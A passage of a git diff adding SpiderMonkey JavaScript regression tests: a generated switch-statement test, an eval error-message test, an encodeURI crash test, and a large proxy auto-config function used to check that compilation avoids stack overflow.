+ case 2832: if (n[2832]++ > 0) check ('a string 2832'); break;
+ case 2833: if (n[2833]++ > 0) check ('a string 2833'); break;
+ case 2834: if (n[2834]++ > 0) check ('a string 2834'); break;
+ case 2835: if (n[2835]++ > 0) check ('a string 2835'); break;
+ case 2836: if (n[2836]++ > 0) check ('a string 2836'); break;
+ case 2837: if (n[2837]++ > 0) check ('a string 2837'); break;
+ case 2838: if (n[2838]++ > 0) check ('a string 2838'); break;
+ case 2839: if (n[2839]++ > 0) check ('a string 2839'); break;
+ case 2840: if (n[2840]++ > 0) check ('a string 2840'); break;
+ case 2841: if (n[2841]++ > 0) check ('a string 2841'); break;
+ case 2842: if (n[2842]++ > 0) check ('a string 2842'); break;
+ case 2843: if (n[2843]++ > 0) check ('a string 2843'); break;
+ case 2844: if (n[2844]++ > 0) check ('a string 2844'); break;
+ case 2845: if (n[2845]++ > 0) check ('a string 2845'); break;
+ case 2846: if (n[2846]++ > 0) check ('a string 2846'); break;
+ case 2847: if (n[2847]++ > 0) check ('a string 2847'); break;
+ case 2848: if (n[2848]++ > 0) check ('a string 2848'); break;
+ case 2849: if (n[2849]++ > 0) check ('a string 2849'); break;
+ case 2850: if (n[2850]++ > 0) check ('a string 2850'); break;
+ case 2851: if (n[2851]++ > 0) check ('a string 2851'); break;
+ case 2852: if (n[2852]++ > 0) check ('a string 2852'); break;
+ case 2853: if (n[2853]++ > 0) check ('a string 2853'); break;
+ case 2854: if (n[2854]++ > 0) check ('a string 2854'); break;
+ case 2855: if (n[2855]++ > 0) check ('a string 2855'); break;
+ case 2856: if (n[2856]++ > 0) check ('a string 2856'); break;
+ case 2857: if (n[2857]++ > 0) check ('a string 2857'); break;
+ case 2858: if (n[2858]++ > 0) check ('a string 2858'); break;
+ case 2859: if (n[2859]++ > 0) check ('a string 2859'); break;
+ case 2860: if (n[2860]++ > 0) check ('a string 2860'); break;
+ case 2861: if (n[2861]++ > 0) check ('a string 2861'); break;
+ case 2862: if (n[2862]++ > 0) check ('a string 2862'); break;
+ case 2863: if (n[2863]++ > 0) check ('a string 2863'); break;
+ case 2864: if (n[2864]++ > 0) check ('a string 2864'); break;
+ case 2865: if (n[2865]++ > 0) check ('a string 2865'); break;
+ case 2866: if (n[2866]++ > 0) check ('a string 2866'); break;
+ case 2867: if (n[2867]++ > 0) check ('a string 2867'); break;
+ case 2868: if (n[2868]++ > 0) check ('a string 2868'); break;
+ case 2869: if (n[2869]++ > 0) check ('a string 2869'); break;
+ case 2870: if (n[2870]++ > 0) check ('a string 2870'); break;
+ case 2871: if (n[2871]++ > 0) check ('a string 2871'); break;
+ case 2872: if (n[2872]++ > 0) check ('a string 2872'); break;
+ case 2873: if (n[2873]++ > 0) check ('a string 2873'); break;
+ case 2874: if (n[2874]++ > 0) check ('a string 2874'); break;
+ case 2875: if (n[2875]++ > 0) check ('a string 2875'); break;
+ case 2876: if (n[2876]++ > 0) check ('a string 2876'); break;
+ case 2877: if (n[2877]++ > 0) check ('a string 2877'); break;
+ case 2878: if (n[2878]++ > 0) check ('a string 2878'); break;
+ case 2879: if (n[2879]++ > 0) check ('a string 2879'); break;
+ case 2880: if (n[2880]++ > 0) check ('a string 2880'); break;
+ case 2881: if (n[2881]++ > 0) check ('a string 2881'); break;
+ case 2882: if (n[2882]++ > 0) check ('a string 2882'); break;
+ case 2883: if (n[2883]++ > 0) check ('a string 2883'); break;
+ case 2884: if (n[2884]++ > 0) check ('a string 2884'); break;
+ case 2885: if (n[2885]++ > 0) check ('a string 2885'); break;
+ case 2886: if (n[2886]++ > 0) check ('a string 2886'); break;
+ case 2887: if (n[2887]++ > 0) check ('a string 2887'); break;
+ case 2888: if (n[2888]++ > 0) check ('a string 2888'); break;
+ case 2889: if (n[2889]++ > 0) check ('a string 2889'); break;
+ case 2890: if (n[2890]++ > 0) check ('a string 2890'); break;
+ case 2891: if (n[2891]++ > 0) check ('a string 2891'); break;
+ case 2892: if (n[2892]++ > 0) check ('a string 2892'); break;
+ case 2893: if (n[2893]++ > 0) check ('a string 2893'); break;
+ case 2894: if (n[2894]++ > 0) check ('a string 2894'); break;
+ case 2895: if (n[2895]++ > 0) check ('a string 2895'); break;
+ case 2896: if (n[2896]++ > 0) check ('a string 2896'); break;
+ case 2897: if (n[2897]++ > 0) check ('a string 2897'); break;
+ case 2898: if (n[2898]++ > 0) check ('a string 2898'); break;
+ case 2899: if (n[2899]++ > 0) check ('a string 2899'); break;
+ case 2900: if (n[2900]++ > 0) check ('a string 2900'); break;
+ case 2901: if (n[2901]++ > 0) check ('a string 2901'); break;
+ case 2902: if (n[2902]++ > 0) check ('a string 2902'); break;
+ case 2903: if (n[2903]++ > 0) check ('a string 2903'); break;
+ case 2904: if (n[2904]++ > 0) check ('a string 2904'); break;
+ case 2905: if (n[2905]++ > 0) check ('a string 2905'); break;
+ case 2906: if (n[2906]++ > 0) check ('a string 2906'); break;
+ case 2907: if (n[2907]++ > 0) check ('a string 2907'); break;
+ case 2908: if (n[2908]++ > 0) check ('a string 2908'); break;
+ case 2909: if (n[2909]++ > 0) check ('a string 2909'); break;
+ case 2910: if (n[2910]++ > 0) check ('a string 2910'); break;
+ case 2911: if (n[2911]++ > 0) check ('a string 2911'); break;
+ case 2912: if (n[2912]++ > 0) check ('a string 2912'); break;
+ case 2913: if (n[2913]++ > 0) check ('a string 2913'); break;
+ case 2914: if (n[2914]++ > 0) check ('a string 2914'); break;
+ case 2915: if (n[2915]++ > 0) check ('a string 2915'); break;
+ case 2916: if (n[2916]++ > 0) check ('a string 2916'); break;
+ case 2917: if (n[2917]++ > 0) check ('a string 2917'); break;
+ case 2918: if (n[2918]++ > 0) check ('a string 2918'); break;
+ case 2919: if (n[2919]++ > 0) check ('a string 2919'); break;
+ case 2920: if (n[2920]++ > 0) check ('a string 2920'); break;
+ case 2921: if (n[2921]++ > 0) check ('a string 2921'); break;
+ case 2922: if (n[2922]++ > 0) check ('a string 2922'); break;
+ case 2923: if (n[2923]++ > 0) check ('a string 2923'); break;
+ case 2924: if (n[2924]++ > 0) check ('a string 2924'); break;
+ case 2925: if (n[2925]++ > 0) check ('a string 2925'); break;
+ case 2926: if (n[2926]++ > 0) check ('a string 2926'); break;
+ case 2927: if (n[2927]++ > 0) check ('a string 2927'); break;
+ case 2928: if (n[2928]++ > 0) check ('a string 2928'); break;
+ case 2929: if (n[2929]++ > 0) check ('a string 2929'); break;
+ case 2930: if (n[2930]++ > 0) check ('a string 2930'); break;
+ case 2931: if (n[2931]++ > 0) check ('a string 2931'); break;
+ case 2932: if (n[2932]++ > 0) check ('a string 2932'); break;
+ case 2933: if (n[2933]++ > 0) check ('a string 2933'); break;
+ case 2934: if (n[2934]++ > 0) check ('a string 2934'); break;
+ case 2935: if (n[2935]++ > 0) check ('a string 2935'); break;
+ case 2936: if (n[2936]++ > 0) check ('a string 2936'); break;
+ case 2937: if (n[2937]++ > 0) check ('a string 2937'); break;
+ case 2938: if (n[2938]++ > 0) check ('a string 2938'); break;
+ case 2939: if (n[2939]++ > 0) check ('a string 2939'); break;
+ case 2940: if (n[2940]++ > 0) check ('a string 2940'); break;
+ case 2941: if (n[2941]++ > 0) check ('a string 2941'); break;
+ case 2942: if (n[2942]++ > 0) check ('a string 2942'); break;
+ case 2943: if (n[2943]++ > 0) check ('a string 2943'); break;
+ case 2944: if (n[2944]++ > 0) check ('a string 2944'); break;
+ case 2945: if (n[2945]++ > 0) check ('a string 2945'); break;
+ case 2946: if (n[2946]++ > 0) check ('a string 2946'); break;
+ case 2947: if (n[2947]++ > 0) check ('a string 2947'); break;
+ case 2948: if (n[2948]++ > 0) check ('a string 2948'); break;
+ case 2949: if (n[2949]++ > 0) check ('a string 2949'); break;
+ case 2950: if (n[2950]++ > 0) check ('a string 2950'); break;
+ case 2951: if (n[2951]++ > 0) check ('a string 2951'); break;
+ case 2952: if (n[2952]++ > 0) check ('a string 2952'); break;
+ case 2953: if (n[2953]++ > 0) check ('a string 2953'); break;
+ case 2954: if (n[2954]++ > 0) check ('a string 2954'); break;
+ case 2955: if (n[2955]++ > 0) check ('a string 2955'); break;
+ case 2956: if (n[2956]++ > 0) check ('a string 2956'); break;
+ case 2957: if (n[2957]++ > 0) check ('a string 2957'); break;
+ case 2958: if (n[2958]++ > 0) check ('a string 2958'); break;
+ case 2959: if (n[2959]++ > 0) check ('a string 2959'); break;
+ case 2960: if (n[2960]++ > 0) check ('a string 2960'); break;
+ case 2961: if (n[2961]++ > 0) check ('a string 2961'); break;
+ case 2962: if (n[2962]++ > 0) check ('a string 2962'); break;
+ case 2963: if (n[2963]++ > 0) check ('a string 2963'); break;
+ case 2964: if (n[2964]++ > 0) check ('a string 2964'); break;
+ case 2965: if (n[2965]++ > 0) check ('a string 2965'); break;
+ case 2966: if (n[2966]++ > 0) check ('a string 2966'); break;
+ case 2967: if (n[2967]++ > 0) check ('a string 2967'); break;
+ case 2968: if (n[2968]++ > 0) check ('a string 2968'); break;
+ case 2969: if (n[2969]++ > 0) check ('a string 2969'); break;
+ case 2970: if (n[2970]++ > 0) check ('a string 2970'); break;
+ case 2971: if (n[2971]++ > 0) check ('a string 2971'); break;
+ case 2972: if (n[2972]++ > 0) check ('a string 2972'); break;
+ case 2973: if (n[2973]++ > 0) check ('a string 2973'); break;
+ case 2974: if (n[2974]++ > 0) check ('a string 2974'); break;
+ case 2975: if (n[2975]++ > 0) check ('a string 2975'); break;
+ case 2976: if (n[2976]++ > 0) check ('a string 2976'); break;
+ case 2977: if (n[2977]++ > 0) check ('a string 2977'); break;
+ case 2978: if (n[2978]++ > 0) check ('a string 2978'); break;
+ case 2979: if (n[2979]++ > 0) check ('a string 2979'); break;
+ case 2980: if (n[2980]++ > 0) check ('a string 2980'); break;
+ case 2981: if (n[2981]++ > 0) check ('a string 2981'); break;
+ case 2982: if (n[2982]++ > 0) check ('a string 2982'); break;
+ case 2983: if (n[2983]++ > 0) check ('a string 2983'); break;
+ case 2984: if (n[2984]++ > 0) check ('a string 2984'); break;
+ case 2985: if (n[2985]++ > 0) check ('a string 2985'); break;
+ case 2986: if (n[2986]++ > 0) check ('a string 2986'); break;
+ case 2987: if (n[2987]++ > 0) check ('a string 2987'); break;
+ case 2988: if (n[2988]++ > 0) check ('a string 2988'); break;
+ case 2989: if (n[2989]++ > 0) check ('a string 2989'); break;
+ case 2990: if (n[2990]++ > 0) check ('a string 2990'); break;
+ case 2991: if (n[2991]++ > 0) check ('a string 2991'); break;
+ case 2992: if (n[2992]++ > 0) check ('a string 2992'); break;
+ case 2993: if (n[2993]++ > 0) check ('a string 2993'); break;
+ case 2994: if (n[2994]++ > 0) check ('a string 2994'); break;
+ case 2995: if (n[2995]++ > 0) check ('a string 2995'); break;
+ case 2996: if (n[2996]++ > 0) check ('a string 2996'); break;
+ case 2997: if (n[2997]++ > 0) check ('a string 2997'); break;
+ case 2998: if (n[2998]++ > 0) check ('a string 2998'); break;
+ case 2999: if (n[2999]++ > 0) check ('a string 2999'); break;
+ case 3000: if (n[3000]++ > 0) check ('a string 3000'); break;
+ case 3001: if (n[3001]++ > 0) check ('a string 3001'); break;
+ case 3002: if (n[3002]++ > 0) check ('a string 3002'); break;
+ case 3003: if (n[3003]++ > 0) check ('a string 3003'); break;
+ case 3004: if (n[3004]++ > 0) check ('a string 3004'); break;
+ case 3005: if (n[3005]++ > 0) check ('a string 3005'); break;
+ case 3006: if (n[3006]++ > 0) check ('a string 3006'); break;
+ case 3007: if (n[3007]++ > 0) check ('a string 3007'); break;
+ case 3008: if (n[3008]++ > 0) check ('a string 3008'); break;
+ case 3009: if (n[3009]++ > 0) check ('a string 3009'); break;
+ default : if (n[3010]++ > 0) check ('a string 3010'); break;
+ }
+ }
+
+ b4();
+ b_after();
+}
+
+
+function check(status)
+{
+ print('k = ' + k + ' j = ' + j + ' ' + status);
+
+ for (i = 0; i < i2; i++)
+ {
+ if (n[i] != 1)
+ {
+ print('n[' + i + '] = ' + n[i]);
+ if (i != j)
+ {
+ print('Test failed');
+ err_num++;
+ break;
+ }
+ }
+ }
+}
+
+
+function b4()
+{
+ print('Visited b4');
+}
+
+
+function b_after()
+{
+ print('Visited b_after');
+}
+
+reportCompare('No Error', 'No Error', '');
diff --git a/js/src/tests/non262/regress/regress-810525.js b/js/src/tests/non262/regress/regress-810525.js
new file mode 100644
index 0000000000..520ca413e8
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-810525.js
@@ -0,0 +1,25 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+var expect = '';
+var actual = '';
+
+function test(s) {
+ var threw = false;
+ try {
+ eval(s);
+ } catch (e) {
+ assertEq(e.message.indexOf('(intermediate value)'), -1);
+ threw = true;
+ } finally {
+ assertEq(threw, true);
+ }
+}
+
+test("({p:1, q:2}).m()");
+test("[].m()");
+test("[1,2,3].m()");
+test("/hi/.m()");
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/regress/regress-82306.js b/js/src/tests/non262/regress/regress-82306.js
new file mode 100644
index 0000000000..e7c6206dc0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-82306.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 23 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 82306
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=82306
+ *
+ * This test used to crash the JS engine. This was discovered
+ * by Mike Epstein <epstein@tellme.com>
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 82306;
+var summary = "Testing we don't crash on encodeURI()";
+var URI = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ URI += '<?xml version="1.0"?>';
+ URI += '<zcti application="xxxx_demo">';
+ URI += '<pstn_data>';
+ URI += '<ani>650-930-xxxx</ani>';
+ URI += '<dnis>877-485-xxxx</dnis>';
+ URI += '</pstn_data>';
+ URI += '<keyvalue key="name" value="xxx"/>';
+ URI += '<keyvalue key="phone" value="6509309000"/>';
+ URI += '</zcti>';
+
+ // Just testing that we don't crash on this
+ encodeURI(URI);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
diff --git a/js/src/tests/non262/regress/regress-89443.js b/js/src/tests/non262/regress/regress-89443.js
new file mode 100644
index 0000000000..6307355c0c
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-89443.js
@@ -0,0 +1,2119 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-12
+ *
+ * SUMMARY: Regression test for bug 89443
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=89443
+ *
+ * Just seeing if this script will compile without stack overflow.
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 89443;
+var summary = 'Testing this script will compile without stack overflow';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+// I don't know what these functions are supposed to be; use dummies -
+function isPlainHostName()
+{
+}
+
+function dnsDomainIs()
+{
+}
+
+// Here's the big function -
+function FindProxyForURL(url, host)
+{
+
+ if (isPlainHostName(host)
+ || dnsDomainIs(host, ".hennepin.lib.mn.us")
+ || dnsDomainIs(host, ".hclib.org")
+ )
+ return "DIRECT";
+ else if (isPlainHostName(host)
+
+// subscription database access
+
+ || dnsDomainIs(host, ".asahi.com")
+ || dnsDomainIs(host, ".2facts.com")
+ || dnsDomainIs(host, ".oclc.org")
+ || dnsDomainIs(host, ".collegesource.com")
+ || dnsDomainIs(host, ".cq.com")
+ || dnsDomainIs(host, ".grolier.com")
+ || dnsDomainIs(host, ".groveart.com")
+ || dnsDomainIs(host, ".groveopera.com")
+ || dnsDomainIs(host, ".fsonline.com")
+ || dnsDomainIs(host, ".carl.org")
+ || dnsDomainIs(host, ".newslibrary.com")
+ || dnsDomainIs(host, ".pioneerplanet.com")
+ || dnsDomainIs(host, ".startribune.com")
+ || dnsDomainIs(host, ".poemfinder.com")
+ || dnsDomainIs(host, ".umi.com")
+ || dnsDomainIs(host, ".referenceusa.com")
+ || dnsDomainIs(host, ".sirs.com")
+ || dnsDomainIs(host, ".krmediastream.com")
+ || dnsDomainIs(host, ".gale.com")
+ || dnsDomainIs(host, ".galenet.com")
+ || dnsDomainIs(host, ".galegroup.com")
+ || dnsDomainIs(host, ".facts.com")
+ || dnsDomainIs(host, ".eb.com")
+ || dnsDomainIs(host, ".worldbookonline.com")
+ || dnsDomainIs(host, ".galegroup.com")
+ || dnsDomainIs(host, ".accessscience.com")
+ || dnsDomainIs(host, ".booksinprint.com")
+ || dnsDomainIs(host, ".infolearning.com")
+ || dnsDomainIs(host, ".standardpoor.com")
+
+// image servers
+ || dnsDomainIs(host, ".akamaitech.net")
+ || dnsDomainIs(host, ".akamai.net")
+ || dnsDomainIs(host, ".yimg.com")
+ || dnsDomainIs(host, ".imgis.com")
+ || dnsDomainIs(host, ".ibsys.com")
+
+// KidsClick-linked kids search engines
+ || dnsDomainIs(host, ".edview.com")
+ || dnsDomainIs(host, ".searchopolis.com")
+ || dnsDomainIs(host, ".onekey.com")
+ || dnsDomainIs(host, ".askjeeves.com")
+
+// Non-subscription Reference Tools URLs from the RecWebSites DBData table
+ || dnsDomainIs(host, "www.cnn.com")
+ || dnsDomainIs(host, "www.emulateme.com")
+ || dnsDomainIs(host, "terraserver.microsoft.com")
+ || dnsDomainIs(host, "www.theodora.com")
+ || dnsDomainIs(host, "www.3datlas.com")
+ || dnsDomainIs(host, "www.infoplease.com")
+ || dnsDomainIs(host, "www.switchboard.com")
+ || dnsDomainIs(host, "www.bartleby.com")
+ || dnsDomainIs(host, "www.mn-politics.com")
+ || dnsDomainIs(host, "www.thesaurus.com")
+ || dnsDomainIs(host, "www.usnews.com")
+ || dnsDomainIs(host, "www.petersons.com")
+ || dnsDomainIs(host, "www.collegenet.com")
+ || dnsDomainIs(host, "www.m-w.com")
+ || dnsDomainIs(host, "clever.net")
+ || dnsDomainIs(host, "maps.expedia.com")
+ || dnsDomainIs(host, "www.CollegeEdge.com")
+ || dnsDomainIs(host, "www.homeworkcentral.com")
+ || dnsDomainIs(host, "www.studyweb.com")
+ || dnsDomainIs(host, "www.mnpro.com")
+
+// custom URLs for local and other access
+ || dnsDomainIs(host, ".dsdukes.com")
+ || dnsDomainIs(host, ".spsaints.com")
+ || dnsDomainIs(host, ".mnzoo.com")
+ || dnsDomainIs(host, ".realaudio.com")
+ || dnsDomainIs(host, ".co.hennepin.mn.us")
+ || dnsDomainIs(host, ".gov")
+ || dnsDomainIs(host, ".org")
+ || dnsDomainIs(host, ".edu")
+ || dnsDomainIs(host, ".fox29.com")
+ || dnsDomainIs(host, ".wcco.com")
+ || dnsDomainIs(host, ".kstp.com")
+ || dnsDomainIs(host, ".kmsp.com")
+ || dnsDomainIs(host, ".kare11.com")
+ || dnsDomainIs(host, ".macromedia.com")
+ || dnsDomainIs(host, ".shockwave.com")
+ || dnsDomainIs(host, ".wwf.com")
+ || dnsDomainIs(host, ".wwfsuperstars.com")
+ || dnsDomainIs(host, ".summerslam.com")
+ || dnsDomainIs(host, ".yahooligans.com")
+ || dnsDomainIs(host, ".mhoob.com")
+ || dnsDomainIs(host, "www.hmonginternet.com")
+ || dnsDomainIs(host, "www.hmongonline.com")
+ || dnsDomainIs(host, ".yahoo.com")
+ || dnsDomainIs(host, ".pokemon.com")
+ || dnsDomainIs(host, ".bet.com")
+ || dnsDomainIs(host, ".smallworld.com")
+ || dnsDomainIs(host, ".cartoonnetwork.com")
+ || dnsDomainIs(host, ".carmensandiego.com")
+ || dnsDomainIs(host, ".disney.com")
+ || dnsDomainIs(host, ".powerpuffgirls.com")
+ || dnsDomainIs(host, ".aol.com")
+
+// Smithsonian
+ || dnsDomainIs(host, "160.111.100.190")
+
+// Hotmail
+ || dnsDomainIs(host, ".passport.com")
+ || dnsDomainIs(host, ".hotmail.com")
+ || dnsDomainIs(host, "216.33.236.24")
+ || dnsDomainIs(host, "216.32.182.251")
+ || dnsDomainIs(host, ".hotmail.msn.com")
+
+// K12 schools
+ || dnsDomainIs(host, ".k12.al.us")
+ || dnsDomainIs(host, ".k12.ak.us")
+ || dnsDomainIs(host, ".k12.ar.us")
+ || dnsDomainIs(host, ".k12.az.us")
+ || dnsDomainIs(host, ".k12.ca.us")
+ || dnsDomainIs(host, ".k12.co.us")
+ || dnsDomainIs(host, ".k12.ct.us")
+ || dnsDomainIs(host, ".k12.dc.us")
+ || dnsDomainIs(host, ".k12.de.us")
+ || dnsDomainIs(host, ".k12.fl.us")
+ || dnsDomainIs(host, ".k12.ga.us")
+ || dnsDomainIs(host, ".k12.hi.us")
+ || dnsDomainIs(host, ".k12.id.us")
+ || dnsDomainIs(host, ".k12.il.us")
+ || dnsDomainIs(host, ".k12.in.us")
+ || dnsDomainIs(host, ".k12.ia.us")
+ || dnsDomainIs(host, ".k12.ks.us")
+ || dnsDomainIs(host, ".k12.ky.us")
+ || dnsDomainIs(host, ".k12.la.us")
+ || dnsDomainIs(host, ".k12.me.us")
+ || dnsDomainIs(host, ".k12.md.us")
+ || dnsDomainIs(host, ".k12.ma.us")
+ || dnsDomainIs(host, ".k12.mi.us")
+ || dnsDomainIs(host, ".k12.mn.us")
+ || dnsDomainIs(host, ".k12.ms.us")
+ || dnsDomainIs(host, ".k12.mo.us")
+ || dnsDomainIs(host, ".k12.mt.us")
+ || dnsDomainIs(host, ".k12.ne.us")
+ || dnsDomainIs(host, ".k12.nv.us")
+ || dnsDomainIs(host, ".k12.nh.us")
+ || dnsDomainIs(host, ".k12.nj.us")
+ || dnsDomainIs(host, ".k12.nm.us")
+ || dnsDomainIs(host, ".k12.ny.us")
+ || dnsDomainIs(host, ".k12.nc.us")
+ || dnsDomainIs(host, ".k12.nd.us")
+ || dnsDomainIs(host, ".k12.oh.us")
+ || dnsDomainIs(host, ".k12.ok.us")
+ || dnsDomainIs(host, ".k12.or.us")
+ || dnsDomainIs(host, ".k12.pa.us")
+ || dnsDomainIs(host, ".k12.ri.us")
+ || dnsDomainIs(host, ".k12.sc.us")
+ || dnsDomainIs(host, ".k12.sd.us")
+ || dnsDomainIs(host, ".k12.tn.us")
+ || dnsDomainIs(host, ".k12.tx.us")
+ || dnsDomainIs(host, ".k12.ut.us")
+ || dnsDomainIs(host, ".k12.vt.us")
+ || dnsDomainIs(host, ".k12.va.us")
+ || dnsDomainIs(host, ".k12.wa.us")
+ || dnsDomainIs(host, ".k12.wv.us")
+ || dnsDomainIs(host, ".k12.wi.us")
+ || dnsDomainIs(host, ".k12.wy.us")
+
+// U.S. Libraries
+ || dnsDomainIs(host, ".lib.al.us")
+ || dnsDomainIs(host, ".lib.ak.us")
+ || dnsDomainIs(host, ".lib.ar.us")
+ || dnsDomainIs(host, ".lib.az.us")
+ || dnsDomainIs(host, ".lib.ca.us")
+ || dnsDomainIs(host, ".lib.co.us")
+ || dnsDomainIs(host, ".lib.ct.us")
+ || dnsDomainIs(host, ".lib.dc.us")
+ || dnsDomainIs(host, ".lib.de.us")
+ || dnsDomainIs(host, ".lib.fl.us")
+ || dnsDomainIs(host, ".lib.ga.us")
+ || dnsDomainIs(host, ".lib.hi.us")
+ || dnsDomainIs(host, ".lib.id.us")
+ || dnsDomainIs(host, ".lib.il.us")
+ || dnsDomainIs(host, ".lib.in.us")
+ || dnsDomainIs(host, ".lib.ia.us")
+ || dnsDomainIs(host, ".lib.ks.us")
+ || dnsDomainIs(host, ".lib.ky.us")
+ || dnsDomainIs(host, ".lib.la.us")
+ || dnsDomainIs(host, ".lib.me.us")
+ || dnsDomainIs(host, ".lib.md.us")
+ || dnsDomainIs(host, ".lib.ma.us")
+ || dnsDomainIs(host, ".lib.mi.us")
+ || dnsDomainIs(host, ".lib.mn.us")
+ || dnsDomainIs(host, ".lib.ms.us")
+ || dnsDomainIs(host, ".lib.mo.us")
+ || dnsDomainIs(host, ".lib.mt.us")
+ || dnsDomainIs(host, ".lib.ne.us")
+ || dnsDomainIs(host, ".lib.nv.us")
+ || dnsDomainIs(host, ".lib.nh.us")
+ || dnsDomainIs(host, ".lib.nj.us")
+ || dnsDomainIs(host, ".lib.nm.us")
+ || dnsDomainIs(host, ".lib.ny.us")
+ || dnsDomainIs(host, ".lib.nc.us")
+ || dnsDomainIs(host, ".lib.nd.us")
+ || dnsDomainIs(host, ".lib.oh.us")
+ || dnsDomainIs(host, ".lib.ok.us")
+ || dnsDomainIs(host, ".lib.or.us")
+ || dnsDomainIs(host, ".lib.pa.us")
+ || dnsDomainIs(host, ".lib.ri.us")
+ || dnsDomainIs(host, ".lib.sc.us")
+ || dnsDomainIs(host, ".lib.sd.us")
+ || dnsDomainIs(host, ".lib.tn.us")
+ || dnsDomainIs(host, ".lib.tx.us")
+ || dnsDomainIs(host, ".lib.ut.us")
+ || dnsDomainIs(host, ".lib.vt.us")
+ || dnsDomainIs(host, ".lib.va.us")
+ || dnsDomainIs(host, ".lib.wa.us")
+ || dnsDomainIs(host, ".lib.wv.us")
+ || dnsDomainIs(host, ".lib.wi.us")
+ || dnsDomainIs(host, ".lib.wy.us")
+
+// U.S. Cities
+ || dnsDomainIs(host, ".ci.al.us")
+ || dnsDomainIs(host, ".ci.ak.us")
+ || dnsDomainIs(host, ".ci.ar.us")
+ || dnsDomainIs(host, ".ci.az.us")
+ || dnsDomainIs(host, ".ci.ca.us")
+ || dnsDomainIs(host, ".ci.co.us")
+ || dnsDomainIs(host, ".ci.ct.us")
+ || dnsDomainIs(host, ".ci.dc.us")
+ || dnsDomainIs(host, ".ci.de.us")
+ || dnsDomainIs(host, ".ci.fl.us")
+ || dnsDomainIs(host, ".ci.ga.us")
+ || dnsDomainIs(host, ".ci.hi.us")
+ || dnsDomainIs(host, ".ci.id.us")
+ || dnsDomainIs(host, ".ci.il.us")
+ || dnsDomainIs(host, ".ci.in.us")
+ || dnsDomainIs(host, ".ci.ia.us")
+ || dnsDomainIs(host, ".ci.ks.us")
+ || dnsDomainIs(host, ".ci.ky.us")
+ || dnsDomainIs(host, ".ci.la.us")
+ || dnsDomainIs(host, ".ci.me.us")
+ || dnsDomainIs(host, ".ci.md.us")
+ || dnsDomainIs(host, ".ci.ma.us")
+ || dnsDomainIs(host, ".ci.mi.us")
+ || dnsDomainIs(host, ".ci.mn.us")
+ || dnsDomainIs(host, ".ci.ms.us")
+ || dnsDomainIs(host, ".ci.mo.us")
+ || dnsDomainIs(host, ".ci.mt.us")
+ || dnsDomainIs(host, ".ci.ne.us")
+ || dnsDomainIs(host, ".ci.nv.us")
+ || dnsDomainIs(host, ".ci.nh.us")
+ || dnsDomainIs(host, ".ci.nj.us")
+ || dnsDomainIs(host, ".ci.nm.us")
+ || dnsDomainIs(host, ".ci.ny.us")
+ || dnsDomainIs(host, ".ci.nc.us")
+ || dnsDomainIs(host, ".ci.nd.us")
+ || dnsDomainIs(host, ".ci.oh.us")
+ || dnsDomainIs(host, ".ci.ok.us")
+ || dnsDomainIs(host, ".ci.or.us")
+ || dnsDomainIs(host, ".ci.pa.us")
+ || dnsDomainIs(host, ".ci.ri.us")
+ || dnsDomainIs(host, ".ci.sc.us")
+ || dnsDomainIs(host, ".ci.sd.us")
+ || dnsDomainIs(host, ".ci.tn.us")
+ || dnsDomainIs(host, ".ci.tx.us")
+ || dnsDomainIs(host, ".ci.ut.us")
+ || dnsDomainIs(host, ".ci.vt.us")
+ || dnsDomainIs(host, ".ci.va.us")
+ || dnsDomainIs(host, ".ci.wa.us")
+ || dnsDomainIs(host, ".ci.wv.us")
+ || dnsDomainIs(host, ".ci.wi.us")
+ || dnsDomainIs(host, ".ci.wy.us")
+
+// U.S. Counties
+ || dnsDomainIs(host, ".co.al.us")
+ || dnsDomainIs(host, ".co.ak.us")
+ || dnsDomainIs(host, ".co.ar.us")
+ || dnsDomainIs(host, ".co.az.us")
+ || dnsDomainIs(host, ".co.ca.us")
+ || dnsDomainIs(host, ".co.co.us")
+ || dnsDomainIs(host, ".co.ct.us")
+ || dnsDomainIs(host, ".co.dc.us")
+ || dnsDomainIs(host, ".co.de.us")
+ || dnsDomainIs(host, ".co.fl.us")
+ || dnsDomainIs(host, ".co.ga.us")
+ || dnsDomainIs(host, ".co.hi.us")
+ || dnsDomainIs(host, ".co.id.us")
+ || dnsDomainIs(host, ".co.il.us")
+ || dnsDomainIs(host, ".co.in.us")
+ || dnsDomainIs(host, ".co.ia.us")
+ || dnsDomainIs(host, ".co.ks.us")
+ || dnsDomainIs(host, ".co.ky.us")
+ || dnsDomainIs(host, ".co.la.us")
+ || dnsDomainIs(host, ".co.me.us")
+ || dnsDomainIs(host, ".co.md.us")
+ || dnsDomainIs(host, ".co.ma.us")
+ || dnsDomainIs(host, ".co.mi.us")
+ || dnsDomainIs(host, ".co.mn.us")
+ || dnsDomainIs(host, ".co.ms.us")
+ || dnsDomainIs(host, ".co.mo.us")
+ || dnsDomainIs(host, ".co.mt.us")
+ || dnsDomainIs(host, ".co.ne.us")
+ || dnsDomainIs(host, ".co.nv.us")
+ || dnsDomainIs(host, ".co.nh.us")
+ || dnsDomainIs(host, ".co.nj.us")
+ || dnsDomainIs(host, ".co.nm.us")
+ || dnsDomainIs(host, ".co.ny.us")
+ || dnsDomainIs(host, ".co.nc.us")
